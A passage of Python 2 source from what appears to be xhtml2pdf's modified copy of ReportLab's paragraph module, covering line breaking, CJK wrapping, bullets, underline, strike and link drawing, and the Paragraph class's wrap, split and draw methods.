xs.underlineColor = xs.textColor xs.underline_x = cur_x_s # Strike if not xs.strike and f.strike: xs.strike = 1 xs.strike_x = cur_x_s xs.strikeColor = f.textColor # XXX Modified for XHTML2PDF xs.strikeFontSize = f.fontSize elif xs.strike: if not f.strike: xs.strike = 0 # XXX Modified for XHTML2PDF xs.strikes.append((xs.strike_x, cur_x_s, xs.strikeColor, xs.strikeFontSize)) xs.strikeColor = None xs.strikeFontSize = None elif xs.textColor != xs.strikeColor: xs.strikes.append((xs.strike_x, cur_x_s, xs.strikeColor, xs.strikeFontSize)) xs.strikeColor = xs.textColor xs.strikeFontSize = f.fontSize xs.strike_x = cur_x_s if f.link and not xs.link: if not xs.link: xs.link = f.link xs.link_x = cur_x_s xs.linkColor = xs.textColor elif xs.link: if not f.link: xs.links.append((xs.link_x, cur_x_s, xs.link, xs.linkColor)) xs.link = None xs.linkColor = None elif f.link != xs.link or xs.textColor != xs.linkColor: xs.links.append((xs.link_x, cur_x_s, xs.link, xs.linkColor)) xs.link = f.link xs.link_x = cur_x_s xs.linkColor = xs.textColor txtlen = tx._canvas.stringWidth(text, tx._fontname, tx._fontsize) cur_x += txtlen nSpaces += text.count(' ') cur_x_s = cur_x + (nSpaces - 1) * ws # XXX Modified for XHTML2PDF # Underline if xs.underline: xs.underlines.append((xs.underline_x, cur_x_s, xs.underlineColor)) # XXX Modified for XHTML2PDF # Backcolor if hasattr(f, "backColor"): if xs.backgroundColor is not None: xs.backgrounds.append((xs.background_x, cur_x_s, xs.backgroundColor, xs.backgroundFontSize)) # XXX Modified for XHTML2PDF # Strike if xs.strike: xs.strikes.append((xs.strike_x, cur_x_s, xs.strikeColor, xs.strikeFontSize)) if xs.link: xs.links.append((xs.link_x, cur_x_s, xs.link, xs.linkColor)) if tx._x0 != x0: setXPos(tx, x0 - tx._x0) def _leftDrawParaLineX( tx, offset, line, last=0): setXPos(tx, offset) _putFragLine(offset, tx, line) setXPos(tx, -offset) def _centerDrawParaLineX( tx, offset, line, last=0): m = offset + 0.5 * line.extraSpace setXPos(tx, m) _putFragLine(m, tx, line) setXPos(tx, -m) def _rightDrawParaLineX( tx, offset, line, last=0): m = offset + line.extraSpace setXPos(tx, m) _putFragLine(m, tx, line) setXPos(tx, -m) def _justifyDrawParaLineX( tx, offset, line, last=0): setXPos(tx, offset) extraSpace = line.extraSpace nSpaces = line.wordCount - 1 if last or not nSpaces or abs(extraSpace) <= 1e-8 or line.lineBreak: _putFragLine(offset, tx, line) # no space modification else: tx.setWordSpace(extraSpace / float(nSpaces)) _putFragLine(offset, tx, line) tx.setWordSpace(0) setXPos(tx, -offset) def _sameFrag(f, g): """ returns 1 if two ParaFrags map out the same """ if (hasattr(f, 'cbDefn') or hasattr(g, 'cbDefn') or hasattr(f, 'lineBreak') or hasattr(g, 'lineBreak')): return 0 for a in ('fontName', 'fontSize', 'textColor', 'backColor', 'rise', 'underline', 'strike', 'link'): if getattr(f, a, None) != getattr(g, a, None): return 0 return 1 def _getFragWords(frags): """ given a Parafrag list return a list of fragwords [[size, (f00,w00), ..., (f0n,w0n)],....,[size, (fm0,wm0), ..., (f0n,wmn)]] each pair f,w represents a style and some string each sublist represents a word """ R = [] W = [] n = 0 hangingStrip = False for f in frags: text = f.text # of paragraphs if text != '': if hangingStrip: hangingStrip = False text = text.lstrip() S = split(text) if S == []: S = [''] if W != [] and text[0] in whitespace: W.insert(0, n) R.append(W) W = [] n = 0 for w in S[:-1]: W.append((f, w)) n += stringWidth(w, f.fontName, f.fontSize) W.insert(0, n) R.append(W) W = [] n = 0 w = S[-1] W.append((f, w)) n += stringWidth(w, f.fontName, f.fontSize) if text and text[-1] in whitespace: W.insert(0, n) R.append(W) W = [] n = 0 elif hasattr(f, 'cbDefn'): w = getattr(f.cbDefn, 'width', 0) if w: if W != []: W.insert(0, n) R.append(W) W = [] n = 0 R.append([w, (f, '')]) else: W.append((f, '')) elif hasattr(f, 'lineBreak'): #pass the frag through. The line breaker will scan for it. if W != []: W.insert(0, n) R.append(W) W = [] n = 0 R.append([0, (f, '')]) hangingStrip = True if W != []: W.insert(0, n) R.append(W) return R def _split_blParaSimple(blPara, start, stop): f = blPara.clone() for a in ('lines', 'kind', 'text'): if hasattr(f, a): delattr(f, a) f.words = [] for l in blPara.lines[start:stop]: for w in l[1]: f.words.append(w) return [f] def _split_blParaHard(blPara, start, stop): f = [] lines = blPara.lines[start:stop] for l in lines: for w in l.words: f.append(w) if l is not lines[-1]: i = len(f) - 1 while i >= 0 and hasattr(f[i], 'cbDefn') and not getattr(f[i].cbDefn, 'width', 0): i -= 1 if i >= 0: g = f[i] if not g.text: g.text = ' ' elif g.text[-1] != ' ': g.text += ' ' return f def _drawBullet(canvas, offset, cur_y, bulletText, style): """ draw a bullet text could be a simple string or a frag list """ tx2 = canvas.beginText(style.bulletIndent, cur_y + getattr(style, "bulletOffsetY", 0)) tx2.setFont(style.bulletFontName, style.bulletFontSize) tx2.setFillColor(hasattr(style, 'bulletColor') and style.bulletColor or style.textColor) if isinstance(bulletText, basestring): tx2.textOut(bulletText) else: for f in bulletText: if hasattr(f, "image"): image = f.image width = image.drawWidth height = image.drawHeight gap = style.bulletFontSize * 0.25 img = image.getImage() # print style.bulletIndent, offset, width canvas.drawImage( img, style.leftIndent - width - gap, cur_y + getattr(style, "bulletOffsetY", 0), width, height) else: tx2.setFont(f.fontName, f.fontSize) tx2.setFillColor(f.textColor) tx2.textOut(f.text) canvas.drawText(tx2) #AR making definition lists a bit less ugly #bulletEnd = tx2.getX() bulletEnd = tx2.getX() + style.bulletFontSize * 0.6 offset = max(offset, bulletEnd - style.leftIndent) return offset def _handleBulletWidth(bulletText, style, maxWidths): """ work out bullet width and adjust maxWidths[0] if neccessary """ if bulletText: if isinstance(bulletText, basestring): bulletWidth = stringWidth(bulletText, style.bulletFontName, style.bulletFontSize) else: #it's a list of fragments bulletWidth = 0 for f in bulletText: bulletWidth = bulletWidth + stringWidth(f.text, f.fontName, f.fontSize) bulletRight = style.bulletIndent + bulletWidth + 0.6 * style.bulletFontSize indent = style.leftIndent + style.firstLineIndent if bulletRight > indent: #..then it overruns, and we have less space available on line 1 maxWidths[0] -= (bulletRight - indent) def splitLines0(frags, widths): """ given a list of ParaFrags we return a list of ParaLines each ParaLine has 1) ExtraSpace 2) blankCount 3) [textDefns....] each text definition is a (ParaFrag, start, limit) triplet """ #initialise the algorithm lines = [] lineNum = 0 maxW = widths[lineNum] i = -1 l = len(frags) lim = start = 0 while 1: #find a non whitespace character while i < l: while start < lim and text[start] == ' ': start += 1 if start == lim: i += 1 if i == l: break start = 0 f = frags[i] text = f.text lim = len(text) else: break # we found one if start == lim: break # if we didn't find one we are done #start of a line g = (None, None, None) line = [] cLen = 0 nSpaces = 0 while cLen < maxW: j = text.find(' ', start) if j < 0: j == lim w = stringWidth(text[start:j], f.fontName, f.fontSize) cLen += w if cLen > maxW and line != []: cLen = cLen - w #this is the end of the line while g.text[lim] == ' ': lim -= 1 nSpaces -= 1 break if j < 0: j = lim if g[0] is f: g[2] = j #extend else: g = (f, start, j) line.append(g) if j == lim: i += 1 def _do_under_line(i, t_off, ws, tx, lm=-0.125): y = tx.XtraState.cur_y - i * tx.XtraState.style.leading + lm * tx.XtraState.f.fontSize textlen = tx._canvas.stringWidth(join(tx.XtraState.lines[i][1]), tx._fontname, tx._fontsize) tx._canvas.line(t_off, y, t_off + textlen + ws, y) _scheme_re = re.compile('^[a-zA-Z][-+a-zA-Z0-9]+$') def _doLink(tx, link, rect): if isinstance(link, unicode): link = link.encode('utf8') parts = link.split(':', 1) scheme = len(parts) == 2 and parts[0].lower() or '' if _scheme_re.match(scheme) and scheme != 'document': kind = scheme.lower() == 'pdf' and 'GoToR' or 'URI' if kind == 'GoToR': link = parts[1] tx._canvas.linkURL(link, rect, relative=1, kind=kind) else: if link[0] == '#': link = link[1:] scheme = '' tx._canvas.linkRect("", scheme != 'document' and link or parts[1], rect, relative=1) def _do_link_line(i, t_off, ws, tx): xs = tx.XtraState leading = xs.style.leading y = xs.cur_y - i * leading - xs.f.fontSize / 8.0 # 8.0 factor copied from para.py text = join(xs.lines[i][1]) textlen = tx._canvas.stringWidth(text, tx._fontname, tx._fontsize) _doLink(tx, xs.link, (t_off, y, t_off + textlen + ws, y + leading)) # XXX Modified for XHTML2PDF def _do_post_text(tx): """ Try to find out what the variables mean: tx A structure containing more informations about paragraph ??? leading Height of lines ff 1/8 of the font size y0 The "baseline" postion ??? y 1/8 below the baseline """ xs = tx.XtraState leading = xs.style.leading autoLeading = xs.autoLeading f = xs.f if autoLeading == 'max': # leading = max(leading, f.fontSize) leading = max(leading, LEADING_FACTOR * f.fontSize) elif autoLeading == 'min': leading = LEADING_FACTOR * f.fontSize ff = 0.125 * f.fontSize y0 = xs.cur_y y = y0 - ff # Background for x1, x2, c, fs in xs.backgrounds: inlineFF = fs * 0.125 gap = inlineFF * 1.25 tx._canvas.setFillColor(c) tx._canvas.rect(x1, y - gap, x2 - x1, fs + 1, fill=1, stroke=0) xs.backgrounds = [] xs.background = 0 xs.backgroundColor = None xs.backgroundFontSize = None # Underline yUnderline = y0 - 1.5 * ff tx._canvas.setLineWidth(ff * 0.75) csc = None for x1, x2, c in xs.underlines: if c != csc: tx._canvas.setStrokeColor(c) csc = c tx._canvas.line(x1, yUnderline, x2, yUnderline) xs.underlines = [] xs.underline = 0 xs.underlineColor = None # Strike for x1, x2, c, fs in xs.strikes: inlineFF = fs * 0.125 ys = y0 + 2 * inlineFF if c != csc: tx._canvas.setStrokeColor(c) csc = c tx._canvas.setLineWidth(inlineFF * 0.75) tx._canvas.line(x1, ys, x2, ys) xs.strikes = [] xs.strike = 0 xs.strikeColor = None yl = y + leading for x1, x2, link, c in xs.links: # No automatic underlining for links, never! _doLink(tx, link, (x1, y, x2, yl)) xs.links = [] xs.link = None xs.linkColor = None xs.cur_y -= leading def textTransformFrags(frags, style): tt = style.textTransform if tt: tt = tt.lower() if tt == 'lowercase': tt = unicode.lower elif tt == 'uppercase': tt = unicode.upper elif tt == 'capitalize': tt = unicode.title elif tt == 'none': return else: raise ValueError('ParaStyle.textTransform value %r is invalid' % style.textTransform) n = len(frags) if n == 1: #single fragment the easy case frags[0].text = tt(frags[0].text.decode('utf8')).encode('utf8') elif tt is unicode.title: pb = True for f in frags: t = f.text if not t: continue u = t.decode('utf8') if u.startswith(u' ') or pb: u = tt(u) else: i = u.find(u' ') if i >= 0: u = u[:i] + tt(u[i:]) pb = u.endswith(u' ') f.text = u.encode('utf8') else: for f in frags: t = f.text if not t: continue f.text = tt(t.decode('utf8')).encode('utf8') class cjkU(unicode): """ simple class to hold the frag corresponding to a str """ def __new__(cls, value, frag, encoding): self = unicode.__new__(cls, value) self._frag = frag if hasattr(frag, 'cbDefn'): w = getattr(frag.cbDefn, 'width', 0) self._width = w else: self._width = stringWidth(value, frag.fontName, frag.fontSize) return self frag = property(lambda self: self._frag) width = property(lambda self: self._width) def makeCJKParaLine(U, extraSpace, calcBounds): words = [] CW = [] f0 = FragLine() maxSize = maxAscent = minDescent = 0 for u in U: f = u.frag fontSize = f.fontSize if calcBounds: cbDefn = getattr(f, 'cbDefn', None) if getattr(cbDefn, 'width', 0): descent, ascent = imgVRange(cbDefn.height, cbDefn.valign, fontSize) else: ascent, descent = getAscentDescent(f.fontName, fontSize) else: ascent, descent = getAscentDescent(f.fontName, fontSize) maxSize = max(maxSize, fontSize) maxAscent = max(maxAscent, ascent) minDescent = min(minDescent, descent) if not _sameFrag(f0, f): f0 = f0.clone() f0.text = u''.join(CW) words.append(f0) CW = [] f0 = f CW.append(u) if CW: f0 = f0.clone() f0.text = u''.join(CW) words.append(f0) return FragLine(kind=1, extraSpace=extraSpace, wordCount=1, words=words[1:], fontSize=maxSize, ascent=maxAscent, descent=minDescent) def cjkFragSplit(frags, maxWidths, calcBounds, encoding='utf8'): """ This attempts to be wordSplit for frags using the dumb algorithm """ from reportlab.rl_config import _FUZZ U = [] # get a list of single glyphs with their widths etc etc for f in frags: text = f.text if not isinstance(text, unicode): text = text.decode(encoding) if text: U.extend([cjkU(t, f, encoding) for t in text]) else: U.append(cjkU(text, f, encoding)) lines = [] widthUsed = lineStartPos = 0 maxWidth = maxWidths[0] for i, u in enumerate(U): w = u.width widthUsed += w lineBreak = hasattr(u.frag, 'lineBreak') endLine = (widthUsed > maxWidth + _FUZZ and widthUsed > 0) or lineBreak if endLine: if lineBreak: continue extraSpace = maxWidth - widthUsed + w #This is the most important of the Japanese typography rules. #if next character cannot start a line, wrap it up to this line so it hangs #in the right margin. We won't do two or more though - that's unlikely and #would result in growing ugliness. nextChar = U[i] if nextChar in ALL_CANNOT_START: extraSpace -= w i += 1 lines.append(makeCJKParaLine(U[lineStartPos:i], extraSpace, calcBounds)) try: maxWidth = maxWidths[len(lines)] except IndexError: maxWidth = maxWidths[-1] # use the last one lineStartPos = i widthUsed = w i -= 1 #any characters left? if widthUsed > 0: lines.append(makeCJKParaLine(U[lineStartPos:], maxWidth - widthUsed, calcBounds)) return ParaLines(kind=1, lines=lines) class Paragraph(Flowable): """ Paragraph(text, style, bulletText=None, caseSensitive=1) text a string of stuff to go into the paragraph. style is a style definition as in reportlab.lib.styles. bulletText is an optional bullet defintion. caseSensitive set this to 0 if you want the markup tags and their attributes to be case-insensitive. This class is a flowable that can format a block of text into a paragraph with a given style. The paragraph Text can contain XML-like markup including the tags: <b> ... </b> - bold <i> ... </i> - italics <u> ... </u> - underline <strike> ... </strike> - strike through <super> ... </super> - superscript <sub> ... </sub> - subscript <font name=fontfamily/fontname color=colorname size=float> <onDraw name=callable label="a label"> <link>link text</link> attributes of links size/fontSize=num name/face/fontName=name fg/textColor/color=color backcolor/backColor/bgcolor=color dest/destination/target/href/link=target <a>anchor text</a> attributes of anchors fontSize=num fontName=name fg/textColor/color=color backcolor/backColor/bgcolor=color href=href <a name="anchorpoint"/> <unichar name="unicode character name"/> <unichar value="unicode code point"/> <img src="path" width="1in" height="1in" valign="bottom"/> The whole may be surrounded by <para> </para> tags The <b> and <i> tags will work for the built-in fonts (Helvetica /Times / Courier). For other fonts you need to register a family of 4 fonts using reportlab.pdfbase.pdfmetrics.registerFont; then use the addMapping function to tell the library that these 4 fonts form a family e.g. from reportlab.lib.fonts import addMapping addMapping('Vera', 0, 0, 'Vera') #normal addMapping('Vera', 0, 1, 'Vera-Italic') #italic addMapping('Vera', 1, 0, 'Vera-Bold') #bold addMapping('Vera', 1, 1, 'Vera-BoldItalic') #italic and bold It will also be able to handle any MathML specified Greek characters. """ def __init__(self, text, style, bulletText=None, frags=None, caseSensitive=1, encoding='utf8'): self.caseSensitive = caseSensitive self.encoding = encoding self._setup(text, style, bulletText, frags, cleanBlockQuotedText) def __repr__(self): n = self.__class__.__name__ L = [n + "("] keys = self.__dict__.keys() for k in keys: v = getattr(self, k) rk = repr(k) rv = repr(v) rk = " " + rk.replace("\n", "\n ") rv = " " + rk.replace("\n", "\n ") L.append(rk) L.append(rv) L.append(") #" + n) return '\n'.join(L) def _setup(self, text, style, bulletText, frags, cleaner): if frags is None: text = cleaner(text) _parser.caseSensitive = self.caseSensitive style, frags, bulletTextFrags = _parser.parse(text, style) if frags is None: raise ValueError("xml parser error (%s) in paragraph beginning\n'%s'" \ % (_parser.errors[0], text[:min(30, len(text))])) textTransformFrags(frags, style) if bulletTextFrags: bulletText = bulletTextFrags #AR hack self.text = text self.frags = frags self.style = style self.bulletText = bulletText self.debug = PARAGRAPH_DEBUG # turn this on to see a pretty one with all the margins etc. def wrap(self, availWidth, availHeight): if self.debug: print id(self), "wrap" try: print repr(self.getPlainText()[:80]) except: print "???" # work out widths array for breaking self.width = availWidth style = self.style leftIndent = style.leftIndent first_line_width = availWidth - (leftIndent + style.firstLineIndent) - style.rightIndent later_widths = availWidth - leftIndent - style.rightIndent if style.wordWrap == 'CJK': #use Asian text wrap algorithm to break characters blPara = self.breakLinesCJK([first_line_width, later_widths]) else: blPara = self.breakLines([first_line_width, later_widths]) self.blPara = blPara autoLeading = getattr(self, 'autoLeading', getattr(style, 'autoLeading', '')) leading = style.leading if blPara.kind == 1 and autoLeading not in ('', 'off'): height = 0 if autoLeading == 'max': for l in blPara.lines: height += max(l.ascent - l.descent, leading) elif autoLeading == 'min': for l in blPara.lines: height += l.ascent - l.descent else: raise ValueError('invalid autoLeading value %r' % autoLeading) else: if autoLeading == 'max': leading = max(leading, LEADING_FACTOR * style.fontSize) elif autoLeading == 'min': leading = LEADING_FACTOR * style.fontSize height = len(blPara.lines) * leading self.height = height return self.width, height def minWidth(self): """ Attempt to determine a minimum sensible width """ frags = self.frags nFrags = len(frags) if not nFrags: return 0 if nFrags == 1: f = frags[0] fS = f.fontSize fN = f.fontName words = hasattr(f, 'text') and split(f.text, ' ') or f.words func = lambda w, fS=fS, fN=fN: stringWidth(w, fN, fS) else: words = _getFragWords(frags) func = lambda x: x[0] return max(map(func, words)) def _get_split_blParaFunc(self): return self.blPara.kind == 0 and _split_blParaSimple or _split_blParaHard def split(self, availWidth, availHeight): if self.debug: print id(self), "split" if len(self.frags) <= 0: return [] #the split information is all inside self.blPara if not hasattr(self, 'blPara'): self.wrap(availWidth, availHeight) blPara = self.blPara style = self.style autoLeading = getattr(self, 'autoLeading', getattr(style, 'autoLeading', '')) leading = style.leading lines = blPara.lines if blPara.kind == 1 and autoLeading not in ('', 'off'): s = height = 0 if autoLeading == 'max': for i, l in enumerate(blPara.lines): h = max(l.ascent - l.descent, leading) n = height + h if n > availHeight + 1e-8: break height = n s = i + 1 elif autoLeading == 'min': for i, l in enumerate(blPara.lines): n = height + l.ascent - l.descent if n > availHeight + 1e-8: break height = n s = i + 1 else: raise ValueError('invalid autoLeading value %r' % autoLeading) else: l = leading if autoLeading == 'max': l = max(leading, LEADING_FACTOR * style.fontSize) elif autoLeading == 'min': l = LEADING_FACTOR * style.fontSize s = int(availHeight / l) height = s * l n = len(lines) allowWidows = getattr(self, 'allowWidows', getattr(self, 'allowWidows', 1)) allowOrphans = getattr(self, 'allowOrphans', getattr(self, 'allowOrphans', 0)) if not allowOrphans: if s <= 1: # orphan? del self.blPara return [] if n <= s: return [self] if not allowWidows: if n == s + 1: # widow? if (allowOrphans and n == 3) or n > 3: s -= 1 # give the widow some company else: del self.blPara # no room for adjustment; force the whole para onwards return [] func = self._get_split_blParaFunc() P1 = self.__class__(None, style, bulletText=self.bulletText, frags=func(blPara, 0, s)) #this is a major hack P1.blPara = ParaLines(kind=1, lines=blPara.lines[0:s], aH=availHeight, aW=availWidth) P1._JustifyLast = 1 P1._splitpara = 1 P1.height = height P1.width = availWidth if style.firstLineIndent != 0: style = deepcopy(style) style.firstLineIndent = 0 P2 = self.__class__(None, style, bulletText=None, frags=func(blPara, s, n)) for a in ('autoLeading', # possible attributes that might be directly on self. ): if hasattr(self, a): setattr(P1, a, getattr(self, a)) setattr(P2, a, getattr(self, a)) return [P1, P2] def draw(self): #call another method for historical reasons. Besides, I #suspect I will be playing with alternate drawing routines #so not doing it here makes it easier to switch. self.drawPara(self.debug) def breakLines(self, width): """ Returns a broken line structure. There are two cases A) For the simple case of a single formatting input fragment the output is A fragment specifier with - kind = 0 - fontName, fontSize, leading, textColor - lines= A list of lines Each line has two items. 1. unused width in points 2. word list B) When there is more than one input formatting fragment the output is A fragment specifier with - kind = 1 - lines= A list of fragments each having fields - extraspace (needed for justified) - fontSize - words=word list each word is itself a fragment with various settings This structure can be used to easily draw paragraphs with the various alignments. You can supply either a single width or a list of widths; the latter will have its last item repeated until necessary. A 2-element list is useful when there is a different first line indent; a longer list could be created to facilitate custom wraps around irregular objects. """ if self.debug: print id(self), "breakLines" if not isinstance(width, (tuple, list)): maxWidths = [width] else: maxWidths = width lines = [] lineno = 0 style = self.style #for bullets, work out width and ensure we wrap the right amount onto line one _handleBulletWidth(self.bulletText, style, maxWidths) maxWidth = maxWidths[0] self.height = 0 autoLeading = getattr(self, 'autoLeading', getattr(style, 'autoLeading', '')) calcBounds = autoLeading not in ('', 'off') frags = self.frags nFrags = len(frags) if nFrags == 1 and not hasattr(frags[0], 'cbDefn'): f = frags[0] fontSize = f.fontSize fontName = f.fontName ascent, descent = getAscentDescent(fontName, fontSize) words = hasattr(f, 'text') and split(f.text, ' ') or f.words spaceWidth = stringWidth(' ', fontName, fontSize, self.encoding) cLine = [] currentWidth = -spaceWidth # hack to get around extra space for word 1 for word in words: #this underscores my feeling that Unicode throughout would be easier! wordWidth = stringWidth(word, fontName, fontSize, self.encoding) newWidth = currentWidth + spaceWidth + wordWidth if newWidth <= maxWidth or not len(cLine): # fit one more on this line cLine.append(word) currentWidth = newWidth else: if currentWidth > self.width: self.width = currentWidth #end of line lines.append((maxWidth - currentWidth, cLine)) cLine = [word] currentWidth = wordWidth lineno += 1 try: maxWidth = maxWidths[lineno] except IndexError: maxWidth = maxWidths[-1] # use the last one #deal with any leftovers on the final line if cLine != []: if currentWidth > self.width: self.width = currentWidth lines.append((maxWidth - currentWidth, cLine)) return f.clone(kind=0, lines=lines, ascent=ascent, descent=descent, fontSize=fontSize) elif nFrags <= 0: return ParaLines(kind=0, fontSize=style.fontSize, fontName=style.fontName, textColor=style.textColor, ascent=style.fontSize, descent=-0.2 * style.fontSize, lines=[]) else: if hasattr(self, 'blPara') and getattr(self, '_splitpara', 0): #NB this is an utter hack that awaits the proper information #preserving splitting algorithm return self.blPara n = 0 words = [] for w in _getFragWords(frags): f = w[-1][0] fontName = f.fontName fontSize = f.fontSize spaceWidth = stringWidth(' ', fontName, fontSize) if not words: currentWidth = -spaceWidth # hack to get around extra space for word 1 maxSize = fontSize maxAscent, minDescent = getAscentDescent(fontName, fontSize) wordWidth = w[0] f = w[1][0] if wordWidth > 0: newWidth = currentWidth + spaceWidth + wordWidth else: newWidth = currentWidth #test to see if this frag is a line break. If it is we will only act on it #if the current width is non-negative or the previous thing was a deliberate lineBreak lineBreak = hasattr(f, 'lineBreak') endLine = (newWidth > maxWidth and n > 0) or lineBreak if not endLine: if lineBreak: continue #throw it away nText = w[1][1] if nText: n += 1 fontSize = f.fontSize if calcBounds: cbDefn = getattr(f, 'cbDefn', None) if getattr(cbDefn, 'width', 0): descent, ascent = imgVRange(cbDefn.height, cbDefn.valign, fontSize) else: ascent, descent = getAscentDescent(f.fontName, fontSize) else: ascent, descent = getAscentDescent(f.fontName, fontSize) maxSize = max(maxSize, fontSize) maxAscent = max(maxAscent, ascent) minDescent = min(minDescent, descent) if not words: g = f.clone() words = [g] g.text = nText elif not _sameFrag(g, f): if currentWidth > 0 and ((nText != '' and nText[0] != ' ') or hasattr(f, 'cbDefn')): if hasattr(g, 'cbDefn'): i = len(words) - 1 while i >= 0: wi = words[i] cbDefn = getattr(wi, 'cbDefn', None) if cbDefn: if not getattr(cbDefn, 'width', 0): i -= 1 continue if not wi.text.endswith(' '): wi.text += ' ' break else: if not g.text.endswith(' '): g.text += ' ' g = f.clone() words.append(g) g.text = nText else: if nText != '' and nText[0] != ' ': g.text += ' ' + nText for i in w[2:]: g = i[0].clone() g.text = i[1] words.append(g) fontSize = g.fontSize if calcBounds: cbDefn = getattr(g, 'cbDefn', None) if getattr(cbDefn, 'width', 0): descent, ascent = imgVRange(cbDefn.height, cbDefn.valign, fontSize) else: ascent, descent = getAscentDescent(g.fontName, fontSize) else: ascent, descent = getAscentDescent(g.fontName, fontSize) maxSize = max(maxSize, fontSize) maxAscent = max(maxAscent, ascent) minDescent = min(minDescent, descent) currentWidth = newWidth else: # either it won't fit, or it's a lineBreak tag if lineBreak: g = f.clone() words.append(g) if currentWidth > self.width: self.width = currentWidth #end of line lines.append(FragLine(extraSpace=maxWidth - currentWidth, wordCount=n, lineBreak=lineBreak, words=words, fontSize=maxSize, ascent=maxAscent, descent=minDescent)) #start new line lineno += 1 try: maxWidth = maxWidths[lineno] except IndexError: maxWidth = maxWidths[-1] # use the last one if lineBreak: n = 0 words = [] continue currentWidth = wordWidth n = 1 g = f.clone() maxSize = g.fontSize if calcBounds: cbDefn = getattr(g, 'cbDefn', None) if getattr(cbDefn, 'width', 0): minDescent, maxAscent = imgVRange(cbDefn.height, cbDefn.valign, maxSize) else: maxAscent, minDescent = getAscentDescent(g.fontName, maxSize) else: maxAscent, minDescent = getAscentDescent(g.fontName, maxSize) words = [g] g.text = w[1][1] for i in w[2:]: g = i[0].clone() g.text = i[1] words.append(g) fontSize = g.fontSize if calcBounds: cbDefn = getattr(g, 'cbDefn', None) if getattr(cbDefn, 'width', 0): descent, ascent = imgVRange(cbDefn.height, cbDefn.valign, fontSize) else: ascent, descent = getAscentDescent(g.fontName, fontSize) else: ascent, descent = getAscentDescent(g.fontName, fontSize) maxSize = max(maxSize, fontSize) maxAscent = max(maxAscent, ascent) minDescent = min(minDescent, descent) #deal with any leftovers on the final line if words != []: if currentWidth > self.width: self.width = currentWidth lines.append(ParaLines(extraSpace=(maxWidth - currentWidth), wordCount=n, words=words, fontSize=maxSize, ascent=maxAscent, descent=minDescent)) return ParaLines(kind=1, lines=lines) return lines def breakLinesCJK(self, width): """Initially, the dumbest possible wrapping algorithm. Cannot handle font variations.""" if self.debug: print id(self), "breakLinesCJK" if not isinstance(width, (list, tuple)): maxWidths = [width] else: maxWidths = width style = self.style #for bullets, work out width and ensure we wrap the right amount onto line one _handleBulletWidth(self.bulletText, style, maxWidths) if len(self.frags) > 1: autoLeading = getattr(self, 'autoLeading', getattr(style, 'autoLeading', '')) calcBounds = autoLeading not in ('', 'off') return cjkFragSplit(self.frags, maxWidths, calcBounds, self.encoding) elif not len(self.frags): return ParaLines(kind=0, fontSize=style.fontSize, fontName=style.fontName, textColor=style.textColor, lines=[], ascent=style.fontSize, descent=-0.2 * style.fontSize) f = self.frags[0] if 1 and hasattr(self, 'blPara') and getattr(self, '_splitpara', 0): #NB this is an utter hack that awaits the proper information #preserving splitting algorithm return f.clone(kind=0, lines=self.blPara.lines) lines = [] lineno = 0 self.height = 0 f = self.frags[0] if hasattr(f, 'text'): text = f.text else: text = ''.join(getattr(f, 'words', [])) from reportlab.lib.textsplit import wordSplit lines = wordSplit(text, maxWidths[0], f.fontName, f.fontSize) #the paragraph drawing routine assumes multiple frags per line, so we need an #extra list like this # [space, [text]] # wrappedLines = [(sp, [line]) for (sp, line) in lines] return f.clone(kind=0, lines=wrappedLines, ascent=f.fontSize, descent=-0.2 * f.fontSize) def beginText(self, x, y): return self.canv.beginText(x, y) def drawPara(self, debug=0): """Draws a paragraph according to the given style. Returns the final y position at the bottom. Not safe for paragraphs without spaces e.g. Japanese; wrapping algorithm will go infinite.""" if self.debug: print id(self), "drawPara", self.blPara.kind #stash the key facts locally for speed canvas = self.canv style = self.style blPara = self.blPara lines = blPara.lines leading = style.leading autoLeading = getattr(self, 'autoLeading', getattr(style, 'autoLeading', '')) #work out the origin for line 1 leftIndent = style.leftIndent cur_x = leftIndent if debug: bw = 0.5 bc = Color(1, 1, 0) bg = Color(0.9, 0.9, 0.9) else: bw = getattr(style, 'borderWidth', None) bc = getattr(style, 'borderColor', None) bg = style.backColor #if has a background or border, draw it if bg or (bc and bw): canvas.saveState() op = canvas.rect kwds = dict(fill=0, stroke=0) if bc and bw: canvas.setStrokeColor(bc) canvas.setLineWidth(bw) kwds['stroke'] = 1 br = getattr(style, 'borderRadius', 0) if br and not debug: op = canvas.roundRect kwds['radius'] = br if bg: canvas.setFillColor(bg) kwds['fill'] = 1 bp = getattr(style, 'borderPadding', 0) op(leftIndent - bp, -bp, self.width - (leftIndent + style.rightIndent) + 2 * bp, self.height + 2 * bp, **kwds) canvas.restoreState() nLines = len(lines) bulletText = self.bulletText if nLines > 0: _offsets = getattr(self, '_offsets', [0]) _offsets += (nLines - len(_offsets)) * [_offsets[-1]] canvas.saveState() alignment = style.alignment offset = style.firstLineIndent + _offsets[0] lim = nLines - 1 noJustifyLast = not (hasattr(self, '_JustifyLast') and self._JustifyLast) if blPara.kind == 0: if alignment == TA_LEFT: dpl = _leftDrawParaLine elif alignment == TA_CENTER: dpl = _centerDrawParaLine elif self.style.alignment == TA_RIGHT: dpl = _rightDrawParaLine elif self.style.alignment == TA_JUSTIFY: dpl = _justifyDrawParaLine f = blPara cur_y = self.height - getattr(f, 'ascent', f.fontSize) # TODO fix XPreformatted to remove this hack if bulletText: offset = _drawBullet(canvas, offset, cur_y, bulletText, style) #set up the font etc. canvas.setFillColor(f.textColor) tx = self.beginText(cur_x, cur_y) if autoLeading == 'max': leading = max(leading, LEADING_FACTOR * f.fontSize) elif autoLeading == 'min': leading = LEADING_FACTOR * f.fontSize #now the font for the rest of the paragraph tx.setFont(f.fontName, f.fontSize, leading) ws = getattr(tx, '_wordSpace', 0) t_off = dpl(tx, offset, ws, lines[0][1], noJustifyLast and nLines == 1) if f.underline or f.link or f.strike: xs = tx.XtraState = ABag() xs.cur_y = cur_y xs.f = f xs.style = style xs.lines = lines xs.underlines = [] xs.underlineColor = None # XXX Modified for XHTML2PDF xs.backgrounds = [] xs.backgroundColor = None xs.backgroundFontSize = None xs.strikes = [] xs.strikeColor = None # XXX Modified for XHTML2PDF xs.strikeFontSize = None xs.links = [] xs.link = f.link canvas.setStrokeColor(f.textColor) dx = t_off + leftIndent if dpl != _justifyDrawParaLine: ws = 0 # XXX Never underline! underline = f.underline strike = f.strike link = f.link if underline: _do_under_line(0, dx, ws, tx) if strike: _do_under_line(0, dx, ws, tx, lm=0.125) if link: _do_link_line(0, dx, ws, tx) #now the middle of the paragraph, aligned with the left margin which is our origin. for i in xrange(1, nLines): ws = lines[i][0] t_off = dpl(tx, _offsets[i], ws, lines[i][1], noJustifyLast and i == lim) if dpl != _justifyDrawParaLine: ws = 0 if underline: _do_under_line(i, t_off + 